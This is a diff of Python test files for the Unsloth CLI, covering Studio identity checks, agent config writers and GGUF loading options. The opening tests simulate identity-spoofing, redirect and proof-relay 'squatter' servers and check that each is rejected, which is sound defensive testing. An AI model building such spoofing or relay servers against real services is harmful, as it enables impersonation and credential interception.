-        pytest.skip(f"studio backend not importable: {exc}")
-
-    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
-    monkeypatch.setattr(storage, "_identity_secret_cache", None)
-
-    good = lambda nonce, host, port: storage.compute_identity_proof(
-        nonce, host, port
-    )  # real secret
-    bad = lambda nonce, host, port: "00" * 32  # spoofer without the secret
-    base_ok, stop_ok = _serve_identity(good)
-    base_bad, stop_bad = _serve_identity(bad)
-    try:
-        assert inference.verify_studio_identity(base_ok) is True
-        assert inference.verify_studio_identity(base_bad) is False
-    finally:
-        stop_ok()
-        stop_bad()
-
-
-def _serve_redirect(target):
-    """Start a localhost server that 302-redirects every GET to target+path."""
-    import threading
-    from http.server import BaseHTTPRequestHandler, HTTPServer
-
-    class Handler(BaseHTTPRequestHandler):
-        def do_GET(self):
-            self.send_response(302)
-            self.send_header("Location", target + self.path)
-            self.end_headers()
-
-        def log_message(self, *a):
-            pass
-
-    server = HTTPServer(("127.0.0.1", 0), Handler)
-    threading.Thread(target = server.serve_forever, daemon = True).start()
-    base = f"http://127.0.0.1:{server.server_address[1]}"
-    return base, server.shutdown
-
-
-def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch):
-    # A squatter could 302 /api/auth/identity to the real Studio and relay its
-    # proof; redirects must be refused so the squatter's base isn't accepted.
-    import unsloth_cli._inference as inference
-
-    inference.ensure_studio_backend_path()
-    try:
-        from studio.backend.auth import storage
-    except Exception as exc:
-        pytest.skip(f"studio backend not importable: {exc}")
-
-    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
-    monkeypatch.setattr(storage, "_identity_secret_cache", None)
-
-    real_base, stop_real = _serve_identity(
-        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
-    )
-    squatter_base, stop_squatter = _serve_redirect(real_base)
-    try:
-        assert inference.verify_studio_identity(real_base) is True  # direct: ok
-        assert inference.verify_studio_identity(squatter_base) is False  # relayed: refused
-    finally:
-        stop_real()
-        stop_squatter()
-
-
-def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch):
-    # A squatter that proxies the nonce to the real Studio on another port gets a
-    # proof bound to *that* port; the client expects one bound to the port it
-    # connected to, so the relayed proof is rejected.
-    import unsloth_cli._inference as inference
-
-    inference.ensure_studio_backend_path()
-    try:
-        from studio.backend.auth import storage
-    except Exception as exc:
-        pytest.skip(f"studio backend not importable: {exc}")
-
-    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
-    monkeypatch.setattr(storage, "_identity_secret_cache", None)
-
-    real_base, stop_real = _serve_identity(
-        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
-    )
-    real_port = int(real_base.rsplit(":", 1)[1])
-    # The squatter answers on its own port but returns the proof for the real port.
-    squatter_base, stop_squatter = _serve_identity(
-        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, real_port)
-    )
-    try:
-        assert inference.verify_studio_identity(real_base) is True
-        assert inference.verify_studio_identity(squatter_base) is False
-    finally:
-        stop_real()
-        stop_squatter()
-
-
-@pytest.mark.parametrize(
-    "url, loopback",
-    [
-        ("http://127.0.0.1:8888", True),
-        ("http://localhost:8888", True),
-        ("http://[::1]:8888", True),
-        ("http://127.0.0.5:9001", True),  # SSH tunnels can land anywhere in 127/8
-        ("http://0.0.0.0:8888", False),
-        ("http://10.0.0.5:8888", False),
-        ("http://studio.evil.example:8888", False),
-        ("https://studio.example.com", False),
-    ],
-)
-def test_is_loopback_url(url, loopback):
-    assert connect.is_loopback_url(url) is loopback
-
-
-def test_connect_no_studio_errors(fake_studio, monkeypatch):
-    monkeypatch.setattr(connect, "find_studio_server", lambda: None)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "No running Studio server" in result.output
-
-
-def test_connect_explicit_api_key_skips_mint(fake_studio):
-    result = CliRunner().invoke(
-        connect.connect_app,
-        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)
-
-
-# ── OpenClaw (Anthropic /v1/messages) ────────────────────────────────
-
-
-def test_write_openclaw_config_fresh(tmp_path, monkeypatch):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    provider = config["models"]["providers"]["unsloth"]
-    assert provider["baseUrl"] == f"{BASE}/v1"
-    assert provider["apiKey"] == "sk-unsloth-abc"
-    assert provider["api"] == "openai-completions"
-    assert provider["models"] == [
-        {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]}
-    ]
-    # The default model must be pinned or OpenClaw has nothing active.
-    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
-    assert config["gateway"]["mode"] == "local"
-    assert config["gateway"]["auth"]["mode"] == "none"  # unauth loopback gateway
-    if os.name != "nt":  # the file holds an API key
-        assert path.stat().st_mode & 0o777 == 0o600
-
-
-def test_write_openclaw_config_preserves_and_idempotent(tmp_path, monkeypatch):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    path.write_text(
-        json.dumps(
-            {
-                "theme": "dark",
-                "agents": {"defaults": {"temperature": 0.5}},
-                "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}},
-            }
-        )
-    )
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    assert config["theme"] == "dark"
-    assert config["agents"]["defaults"]["temperature"] == 0.5  # other agent defaults kept
-    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
-    assert config["models"]["mode"] == "replace"  # user's mode is left as-is
-    assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x"
-    assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1"
-    before = path.read_text()
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    assert path.read_text() == before
-
-
-def test_write_openclaw_config_corrupt_left_alone(tmp_path, monkeypatch, capsys):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    path.write_text("{not json")
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    assert path.read_text() == "{not json"
-    assert "couldn't parse" in capsys.readouterr().err
-
-
-def test_connect_openclaw_no_launch(fake_studio, tmp_path, monkeypatch):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    result = CliRunner().invoke(connect.connect_app, ["openclaw", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    assert "openclaw" in result.output
-    assert "export" not in result.output  # key lives in the config, not the env
-    config = json.loads(path.read_text())
-    assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
-    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
-    # OpenAI /v1/chat/completions works on either backend — no GGUF gate.
-    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
-
-
-# ── OpenCode (OpenAI /v1/chat/completions) ───────────────────────────
-
-
-def test_write_opencode_config_fresh(tmp_path, monkeypatch):
-    path = tmp_path / "opencode.json"
-    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
-    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    provider = config["provider"]["unsloth"]
-    assert provider["npm"] == "@ai-sdk/openai-compatible"
-    assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"}
-    assert provider["models"] == {MODEL["id"]: {"name": MODEL["id"]}}
-    assert config["model"] == f"unsloth/{MODEL['id']}"
-
-
-def test_write_opencode_config_preserves_and_idempotent(tmp_path, monkeypatch):
-    path = tmp_path / "opencode.json"
-    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
-    path.write_text(
-        json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}})
-    )
-    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    assert config["theme"] == "tokyonight"
-    assert config["provider"]["anthropic"]["name"] == "Anthropic"
-    assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1"
-    before = path.read_text()
-    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
-    assert path.read_text() == before
-
-
-def test_connect_opencode_no_launch(fake_studio, tmp_path, monkeypatch):
-    path = tmp_path / "opencode.json"
-    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
-    result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    assert "opencode" in result.output
-    config = json.loads(path.read_text())
-    assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
-    assert config["model"] == f"unsloth/{MODEL['id']}"
-    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
-
-
-# ── Hermes (OpenAI /v1/chat/completions, key via env) ────────────────
-
-
-@pytest.fixture()
-def hermes_config(tmp_path, monkeypatch):
-    path = tmp_path / "config.yaml"
-    monkeypatch.setattr(connect, "hermes_config_path", lambda: path)
-    return path
-
-
-def test_write_hermes_config_fresh(hermes_config):
-    yaml = pytest.importorskip("yaml")
-    connect.write_hermes_config(BASE, MODEL)
-    config = yaml.safe_load(hermes_config.read_text())
-    # Hermes only honors the key for a *named* custom provider, so the endpoint
-    # is registered under providers.* and model.provider points at it.
-    assert config["model"]["provider"] == "custom:unsloth"
-    assert config["model"]["default"] == MODEL["id"]
-    assert config["model"]["api_mode"] == "openai"
-    provider = config["providers"]["unsloth"]
-    assert provider["base_url"] == f"{BASE}/v1"
-    assert provider["api_mode"] == "openai"
-    assert provider["key_env"] == "UNSLOTH_API_KEY"
-    # The key is resolved from the launch env, never written to disk.
-    assert "sk-unsloth" not in hermes_config.read_text()
-
-
-def test_write_hermes_config_preserves_and_idempotent(hermes_config):
-    yaml = pytest.importorskip("yaml")
-    hermes_config.write_text(
-        yaml.safe_dump(
-            {
-                "terminal": {"backend": "local"},
-                "model": {"temperature": 0.7},
-                "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}},
-            }
-        )
-    )
-    connect.write_hermes_config(BASE, MODEL)
-    config = yaml.safe_load(hermes_config.read_text())
-    assert config["terminal"] == {"backend": "local"}  # unrelated sections kept
-    assert config["model"]["temperature"] == 0.7  # unrelated model keys kept
-    assert config["model"]["provider"] == "custom:unsloth"
-    assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1"
-    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
-    before = hermes_config.read_text()
-    connect.write_hermes_config(BASE, MODEL)
-    assert hermes_config.read_text() == before
-
-
-def test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys):
-    pytest.importorskip("yaml")
-    original = "- just\n- a\n- list\n"  # valid YAML, but not a mapping
-    hermes_config.write_text(original)
-    connect.write_hermes_config(BASE, MODEL)
-    assert hermes_config.read_text() == original  # user-managed file left untouched
-    assert "couldn't parse" in capsys.readouterr().err
-
-
-def test_connect_hermes_no_launch(fake_studio, hermes_config):
-    yaml = pytest.importorskip("yaml")
-    result = CliRunner().invoke(connect.connect_app, ["hermes", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "UNSLOTH_API_KEY", "sk-unsloth-feedfacefeedface")
-    assert "hermes" in result.output
-    config = yaml.safe_load(hermes_config.read_text())
-    assert config["model"]["provider"] == "custom:unsloth"
-    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
-    assert config["model"]["default"] == MODEL["id"]
-    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
diff --git a/unsloth_cli/tests/test_inference_chat.py b/unsloth_cli/tests/test_inference_chat.py
index 770bd0db29..013b7c5a81 100644
--- a/unsloth_cli/tests/test_inference_chat.py
+++ b/unsloth_cli/tests/test_inference_chat.py
@@ -9,6 +9,7 @@ import inspect
 import sys
 import types
 from pathlib import Path
+from types import SimpleNamespace
 
 _REPO_ROOT = Path(__file__).resolve().parents[2]
 if str(_REPO_ROOT) not in sys.path:
@@ -16,6 +17,7 @@ if str(_REPO_ROOT) not in sys.path:
 
 
 import typer
+import pytest
 from rich.console import Console
 from typer.testing import CliRunner
 
@@ -43,6 +45,14 @@ def _chat_app():
     return cli
 
 
+def _inference_app():
+    from unsloth_cli.commands.inference import inference
+
+    cli = typer.Typer()
+    cli.command()(inference)
+    return cli
+
+
 def test_visible_text_passthrough_when_shown():
     text = "<think>reasoning</think>answer"
     assert visible_text(text, show_thinking = True) == text
@@ -81,6 +91,16 @@ def test_inference_think_defaults_off():
     assert "--think/--no-think" in (getattr(opt, "param_decls", None) or [])
 
 
+def test_inference_exposes_gguf_runtime_options():
+    from unsloth_cli.commands.inference import inference
+
+    tensor = _option(inference, "tensor_parallel")
+    assert "--tensor-parallel/--no-tensor-parallel" in (getattr(tensor, "param_decls", None) or [])
+
+    extra = _option(inference, "llama_extra_args")
+    assert "--llama-extra-arg" in (getattr(extra, "param_decls", None) or [])
+
+
 def test_chat_command_is_registered_with_options():
     params = inspect.signature(chatmod.chat).parameters
     assert "model" in params
@@ -94,6 +114,12 @@ def test_chat_command_is_registered_with_options():
     verbose = _option(chatmod.chat, "verbose")
     assert {"--verbose", "-v"} <= set(getattr(verbose, "param_decls", None) or [])
 
+    tensor = _option(chatmod.chat, "tensor_parallel")
+    assert "--tensor-parallel/--no-tensor-parallel" in (getattr(tensor, "param_decls", None) or [])
+
+    extra = _option(chatmod.chat, "llama_extra_args")
+    assert "--llama-extra-arg" in (getattr(extra, "param_decls", None) or [])
+
 
 class _FakeBackend:
     def __init__(self):
@@ -324,6 +350,243 @@ def test_http_backend_streams_cumulative_text(monkeypatch):
     assert out == ["He", "Hello"]
 
 
+def test_http_backend_load_forwards_gguf_runtime_options(monkeypatch):
+    backend = HttpChatBackend("http://localhost:8888", "token")
+    requests = []
+
+    class _OK:
+        def close(self):
+            pass
+
+    def fake_request(
+        method,
+        path,
+        payload = None,
+        timeout = None,
+    ):
+        requests.append((method, path, payload, timeout))
+        return _OK()
+
+    monkeypatch.setattr(backend, "_request", fake_request)
+
+    backend.ensure_loaded(
+        "org/model-GGUF",
+        hf_token = "hf_x",
+        max_seq_length = 8192,
+        load_in_4bit = False,
+        tensor_parallel = True,
+        llama_extra_args = ["--top-k", "20"],
+    )
+
+    assert requests == [
+        (
+            "POST",
+            "/api/inference/load",
+            {
+                "model_path": "org/model-GGUF",
+                "hf_token": "hf_x",
+                "max_seq_length": 8192,
+                "load_in_4bit": False,
+                "tensor_parallel": True,
+                "llama_extra_args": ["--top-k", "20"],
+            },
+            None,
+        )
+    ]
+
+
+def test_http_backend_load_sends_explicit_false_tensor_parallel(monkeypatch):
+    backend = HttpChatBackend("http://localhost:8888", "token")
+    requests = []
+
+    class _OK:
+        def close(self):
+            pass
+
+    monkeypatch.setattr(
+        backend,
+        "_request",
+        lambda method, path, payload = None, timeout = None: (
+            requests.append((method, path, payload, timeout)),
+            _OK(),
+        )[1],
+    )
+
+    backend.ensure_loaded(
+        "org/model-GGUF",
+        hf_token = None,
+        max_seq_length = 4096,
+        load_in_4bit = True,
+        tensor_parallel = False,
+    )
+
+    assert requests[0][2]["tensor_parallel"] is False
+
+
+def test_load_gguf_backend_forwards_local_runtime_options(monkeypatch):
+    import unsloth_cli._inference as inference
+
+    calls = []
+
+    class _FakeLlamaCppBackend:
+        def load_model(self, **kwargs):
+            calls.append(kwargs)
+            return True
+
+    fake_llama_cpp = types.ModuleType("core.inference.llama_cpp")
+    fake_llama_cpp.LlamaCppBackend = _FakeLlamaCppBackend
+    fake_args = types.ModuleType("core.inference.llama_server_args")
+    fake_args.validate_extra_args = lambda args: list(args or [])
+    fake_tensor_fallback = types.ModuleType("core.inference.tensor_fallback")
+
+    async def _passthrough(
+        attempt_load,
+        *,
+        requested_tensor,
+        extra_args,
+        label = "",
+        cancelled = None,
+    ):
+        return await attempt_load(requested_tensor, extra_args)
+
+    fake_tensor_fallback.load_with_tensor_fallback = _passthrough
+
+    monkeypatch.setitem(sys.modules, "core", types.ModuleType("core"))
+    monkeypatch.setitem(sys.modules, "core.inference", types.ModuleType("core.inference"))
+    monkeypatch.setitem(sys.modules, "core.inference.llama_cpp", fake_llama_cpp)
+    monkeypatch.setitem(sys.modules, "core.inference.llama_server_args", fake_args)
+    monkeypatch.setitem(sys.modules, "core.inference.tensor_fallback", fake_tensor_fallback)
+    monkeypatch.setattr(inference, "ensure_studio_backend_path", lambda: None)
+
+    config = SimpleNamespace(
+        gguf_variant = "Q4_K_M",
+        identifier = "org/model-GGUF",
+        is_vision = False,
+        gguf_hf_repo = "org/model-GGUF",
+    )
+
+    backend = inference._load_gguf_backend(
+        config,
+        hf_token = "hf_x",
+        max_seq_length = 8192,
+        tensor_parallel = True,
+        llama_extra_args = ["--top-k", "20"],
+    )
+
+    assert isinstance(backend, ChatBackend)
+    assert calls == [
+        {
+            "hf_repo": "org/model-GGUF",
+            "hf_token": "hf_x",
+            "hf_variant": "Q4_K_M",
+            "model_identifier": "org/model-GGUF",
+            "is_vision": False,
+            "n_ctx": 8192,
+            "tensor_parallel": True,
+            "extra_args": ["--top-k", "20"],
+        }
+    ]
+
+
+def test_load_gguf_backend_exits_cleanly_on_invalid_extra_args(monkeypatch):
+    import unsloth_cli._inference as inference
+
+    fake_llama_cpp = types.ModuleType("core.inference.llama_cpp")
+    fake_llama_cpp.LlamaCppBackend = object
+    fake_args = types.ModuleType("core.inference.llama_server_args")
+
+    def _raise(_args):
+        raise ValueError("llama-server flag '--model' is managed by Unsloth Studio")
+
+    fake_args.validate_extra_args = _raise
+    fake_tensor_fallback = types.ModuleType("core.inference.tensor_fallback")
+    fake_tensor_fallback.load_with_tensor_fallback = None
+
+    monkeypatch.setitem(sys.modules, "core", types.ModuleType("core"))
+    monkeypatch.setitem(sys.modules, "core.inference", types.ModuleType("core.inference"))
+    monkeypatch.setitem(sys.modules, "core.inference.llama_cpp", fake_llama_cpp)
+    monkeypatch.setitem(sys.modules, "core.inference.llama_server_args", fake_args)
+    monkeypatch.setitem(sys.modules, "core.inference.tensor_fallback", fake_tensor_fallback)
+    monkeypatch.setattr(inference, "ensure_studio_backend_path", lambda: None)
+
+    config = SimpleNamespace(
+        gguf_variant = "Q4_K_M",
+        identifier = "org/model-GGUF",
+        is_vision = False,
+        gguf_hf_repo = "org/model-GGUF",
+    )
+
+    with pytest.raises(typer.Exit) as excinfo:
+        inference._load_gguf_backend(
+            config,
+            hf_token = "hf_x",
+            max_seq_length = 8192,
+            llama_extra_args = ["--model"],
+        )
+
+    assert excinfo.value.exit_code == 1
+
+
+def test_load_gguf_backend_uses_tensor_fallback(monkeypatch):
+    import unsloth_cli._inference as inference
+
+    calls = []
+    fallback_calls = []
+
+    class _FakeLlamaCppBackend:
+        def load_model(self, **kwargs):
+            calls.append(kwargs)
+            return kwargs["tensor_parallel"] is False
+
+    fake_llama_cpp = types.ModuleType("core.inference.llama_cpp")
+    fake_llama_cpp.LlamaCppBackend = _FakeLlamaCppBackend
+    fake_args = types.ModuleType("core.inference.llama_server_args")
+    fake_args.validate_extra_args = lambda args: list(args or [])
+    fake_tensor_fallback = types.ModuleType("core.inference.tensor_fallback")
+
+    async def _fallback(
+        attempt_load,
+        *,
+        requested_tensor,
+        extra_args,
+        label = "",
+        cancelled = None,
+    ):
+        fallback_calls.append((requested_tensor, extra_args, label))
+        ok = await attempt_load(requested_tensor, extra_args)
+        if ok:
+            return True
+        return await attempt_load(False, ["--split-mode", "layer"])
+
+    fake_tensor_fallback.load_with_tensor_fallback = _fallback
+
+    monkeypatch.setitem(sys.modules, "core", types.ModuleType("core"))
+    monkeypatch.setitem(sys.modules, "core.inference", types.ModuleType("core.inference"))
+    monkeypatch.setitem(sys.modules, "core.inference.llama_cpp", fake_llama_cpp)
+    monkeypatch.setitem(sys.modules, "core.inference.llama_server_args", fake_args)
+    monkeypatch.setitem(sys.modules, "core.inference.tensor_fallback", fake_tensor_fallback)
+    monkeypatch.setattr(inference, "ensure_studio_backend_path", lambda: None)
+
+    config = SimpleNamespace(
+        gguf_variant = "Q4_K_M",
+        identifier = "org/model-GGUF",
+        is_vision = False,
+        gguf_hf_repo = "org/model-GGUF",
+    )
+
+    backend = inference._load_gguf_backend(
+        config,
+        hf_token = "hf_x",
+        max_seq_length = 8192,
+        tensor_parallel = True,
+    )
+
+    assert isinstance(backend, ChatBackend)
+    assert fallback_calls == [(True, [], "org/model-GGUF")]
+    assert [call["tensor_parallel"] for call in calls] == [True, False]
+    assert calls[1]["extra_args"] == ["--split-mode", "layer"]
+
+
 def test_http_backend_merges_emoji_split_across_deltas(monkeypatch):
     backend = HttpChatBackend("http://localhost:8888", "token")
     response = _FakeSSEResponse(
@@ -365,6 +628,98 @@ def test_chat_prefers_running_studio_server(monkeypatch):
     assert closed == ["http"]
 
 
+def test_chat_forwards_gguf_runtime_options_to_loader(monkeypatch):
+    loads = []
+
+    class _FakeHttpBackend:
+        def close(self):
+            pass
+
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda model, **kwargs: (loads.append((model, kwargs)), _FakeHttpBackend())[1],
+    )
+    monkeypatch.setattr(chatmod, "load_chat_backend", lambda *a, **k: None)
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+
+    result = CliRunner().invoke(
+        _chat_app(),
+        [
+            "fake-model",
+            "--tensor-parallel",
+            "--llama-extra-arg=--top-k",
+            "--llama-extra-arg",
+            "20",
+        ],
+        input = "/exit\n",
+    )
+
+    assert result.exit_code == 0, result.output
+    assert loads == [
+        (
+            "fake-model",
+            {
+                "hf_token": None,
+                "max_seq_length": 4096,
+                "load_in_4bit": True,
+                "tensor_parallel": True,
+                "llama_extra_args": ["--top-k", "20"],
+            },
+        )
+    ]
+
+
+def test_inference_forwards_gguf_runtime_options_to_loader(monkeypatch):
+    from unsloth_cli.commands import inference as infermod
+
+    loads, streams, closed = [], [], []
+
+    class _FakeBackend:
+        def stream(self, messages, **kwargs):
+            streams.append((messages, kwargs))
+            return iter(["answer"])
+
+        def close(self):
+            closed.append(True)
+
+    monkeypatch.setattr(
+        infermod,
+        "connect_studio_server",
+        lambda model, **kwargs: (loads.append((model, kwargs)), _FakeBackend())[1],
+    )
+    monkeypatch.setattr(infermod, "load_chat_backend", lambda *a, **k: None)
+
+    result = CliRunner().invoke(
+        _inference_app(),
+        [
+            "fake-model",
+            "hello",
+            "--tensor-parallel",
+            "--llama-extra-arg=--top-k",
+            "--llama-extra-arg",
+            "20",
+        ],
+    )
+
+    assert result.exit_code == 0, result.output
+    assert loads == [
+        (
+            "fake-model",
+            {
+                "hf_token": None,
+                "max_seq_length": 2048,
+                "load_in_4bit": True,
+                "tensor_parallel": True,
+                "llama_extra_args": ["--top-k", "20"],
+            },
+        )
+    ]
+    assert streams[0][0] == [{"role": "user", "content": "hello"}]
+    assert closed == [True]
+
+
 def test_chat_server_mode_compare_loads_base_locally(monkeypatch):
     streamed, closed, base_loads = [], [], []
 
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
new file mode 100644
index 0000000000..affc24626e
--- /dev/null
+++ b/unsloth_cli/tests/test_start.py
@@ -0,0 +1,2133 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for `unsloth start` — config merging and launch env, no network."""
+
+from __future__ import annotations
+
+import json
+import os
+import shlex
+import sys
+import urllib.error
+from pathlib import Path
+from types import SimpleNamespace
+
+_REPO_ROOT = Path(__file__).resolve().parents[2]
+if str(_REPO_ROOT) not in sys.path:
+    sys.path.insert(0, str(_REPO_ROOT))
+
+
+import pytest
+from typer.testing import CliRunner
+
+import unsloth_cli.commands.start as start
+
+BASE = "http://127.0.0.1:8888"
+MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072}
+
+
+# --no-launch prints shell setup as POSIX (export/unset) on Unix/WSL and
+# PowerShell ($env:/Remove-Item) on native Windows; assert the host's form.
+def _assert_env_set(output: str, name: str, value: str) -> None:
+    needle = f'$env:{name} = "{value}"' if os.name == "nt" else f"export {name}={value}"
+    assert needle in output, f"{needle!r} not found in:\n{output}"
+
+
+def _assert_env_unset(output: str, name: str) -> None:
+    needle = f"Remove-Item Env:{name}" if os.name == "nt" else f"unset {name}"
+    assert needle in output, f"{needle!r} not found in:\n{output}"
+
+
+def _launch_command(output: str) -> list:
+    # The --no-launch recipe ends with a self-contained one-liner: inline NAME=value
+    # assignments, then the command. Return just the command argv.
+    last = [ln for ln in output.splitlines() if ln.strip()][-1]
+    parts = shlex.split(last)
+    for i, part in enumerate(parts):
+        name = part.partition("=")[0]
+        if "=" not in part or not name.replace("_", "").isalnum():
+            return parts[i:]
+    return []
+
+
+def _fake_claude(monkeypatch, version_output: str) -> None:
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda *args, **kwargs: SimpleNamespace(stdout = version_output),
+    )
+
+
+def test_claude_flags_passed_to_supported_claude(monkeypatch):
+    _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n")
+    assert start._claude_flags() == [
+        "--exclude-dynamic-system-prompt-sections",
+        "--settings",
+        start._CLAUDE_SETTINGS_OVERLAY,
+    ]
+
+
+def test_claude_flags_skipped_on_old_claude(monkeypatch):
+    _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n")
+    assert start._claude_flags() == []
+
+
+def test_claude_flags_skipped_on_unparseable_version(monkeypatch):
+    _fake_claude(monkeypatch, "weird build string\n")
+    assert start._claude_flags() == []
+
+
+def test_claude_flags_detected_when_version_not_first_token(monkeypatch):
+    # The X.Y.Z is pulled from anywhere in the output, so a format change (version not
+    # the first token) doesn't silently drop the optimization flags.
+    _fake_claude(monkeypatch, "claude version 2.1.98\n")
+    assert start._claude_flags() == [
+        "--exclude-dynamic-system-prompt-sections",
+        "--settings",
+        start._CLAUDE_SETTINGS_OVERLAY,
+    ]
+
+
+def test_install_agent_prompts_then_installs(monkeypatch):
+    # TTY + yes: run the documented install command, then re-resolve the now-present binary.
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True)
+    ran = []
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda command, *a, **k: ran.append(command) or SimpleNamespace(returncode = 0),
+    )
+    # _install_agent only re-resolves after installing (the pre-install check is the
+    # caller's job), so `which` reports the now-present binary.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    executable = start._install_agent("codex", "npm install -g @openai/codex")
+    assert executable == "/usr/local/bin/codex"
+    assert ran == [["/bin/sh", "-c", "npm install -g @openai/codex"]]
+
+
+def test_install_agent_declined_returns_none(monkeypatch):
+    # TTY + no: never runs anything; caller falls back to the print-hint failure.
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False)
+    monkeypatch.setattr(start.shutil, "which", lambda _: None)
+    monkeypatch.setattr(
+        start.subprocess, "run", lambda *a, **k: pytest.fail("should not install when declined")
+    )
+    assert start._install_agent("codex", "npm install -g @openai/codex") is None
+
+
+def test_install_agent_non_interactive_returns_none(monkeypatch):
+    # No TTY (piped stdin): cannot prompt, so don't install; return None silently.
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: False))
+    monkeypatch.setattr(
+        start.subprocess, "run", lambda *a, **k: pytest.fail("should not install without a TTY")
+    )
+    assert start._install_agent("codex", "npm install -g @openai/codex") is None
+
+
+def _parse_toml(text: str) -> dict:
+    tomllib = pytest.importorskip("tomllib")
+    return tomllib.loads(text)
+
+
+def test_merge_codex_config_fresh():
+    merged = start._merge_codex_config("", BASE)
+    parsed = _parse_toml(merged)
+    assert parsed["oss_provider"] == "unsloth_api"
+    provider = parsed["model_providers"]["unsloth_api"]
+    assert provider["base_url"] == f"{BASE}/v1"
+    assert provider["wire_api"] == "responses"
+    assert provider["requires_openai_auth"] is False
+
+
+def test_merge_codex_config_replaces_stale_block():
+    existing = (
+        'model = "gpt-5"\n'
+        "\n"
+        "[model_providers.unsloth_api]\n"
+        'base_url = "http://old-host:9999/v1"\n'
+        'wire_api = "chat"\n'
+        "\n"
+        "[model_providers.unsloth_api.http_headers]\n"
+        'x-old = "1"\n'
+        "\n"
+        "[model_providers.ollama]\n"
+        'base_url = "http://localhost:11434/v1"\n'
+    )
+    merged = start._merge_codex_config(existing, BASE)
+    parsed = _parse_toml(merged)
+    assert parsed["model"] == "gpt-5"
+    assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1"
+    assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses"
+    assert "http_headers" not in parsed["model_providers"]["unsloth_api"]
+    assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1"
+    assert start._merge_codex_config(merged, BASE) == merged
+
+
